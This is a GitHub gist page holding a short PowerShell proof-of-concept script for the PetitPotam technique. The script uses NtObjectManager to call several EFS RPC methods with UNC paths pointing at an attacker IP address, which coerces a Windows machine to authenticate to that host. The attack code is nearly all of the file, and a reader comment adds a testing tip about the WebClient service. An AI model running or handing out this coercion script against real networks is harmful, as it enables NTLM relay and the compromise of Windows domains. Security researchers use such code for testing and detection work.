Skip to content

Instantly share code, notes, and snippets.

@leechristensen

leechristensen/PetitPotam.ps1

Created July 30, 2021 21:47
Show Gist options
  • Star 12 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save leechristensen/fda130890fb3c194115e7b856640c30e to your computer and use it in GitHub Desktop.
Save leechristensen/fda130890fb3c194115e7b856640c30e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
PetitPotam.ps1
Install-Module NtObjectManager
Import-Module NtObjectManager
$Servers = Get-RpcServer -Path C:\Windows\system32\efssvc.dll `
-DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll'
$EfsInterace = $Servers | Where-Object { $_.InterfaceId -eq 'df1941c5-fe89-4e79-bf10-463657acf44d' }
$client = Get-RpcClient -Server $EfsInterace
$client.Connect()
$ret = $client.EfsRpcOpenFileRaw( "\\192.168.230.200@1000/asdf\asdf\asdf",1) # <-- What PetitPotam uses
$ret = $client.EfsRpcEncryptFileSrv( "\\192.168.230.200@1001/asdf\asdf\asdf")
$ret = $client.EfsRpcDecryptFileSrv( "\\192.168.230.200@1002/asdf\asdf\asdf",0)
$ret = $client.EfsRpcQueryUsersOnFile( "\\192.168.230.200@1003/asdf\asdf\asdf")
$ret = $client.EfsRpcQueryRecoveryAgents("\\192.168.230.200@1004/asdf\asdf\asdf")
$client.Disconnect()
@gladiatx0r
Copy link

Dont forget to turn on webclient to test this :) Also you need to either reset webclient or wait 30 seconds between subsequent hung tests.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment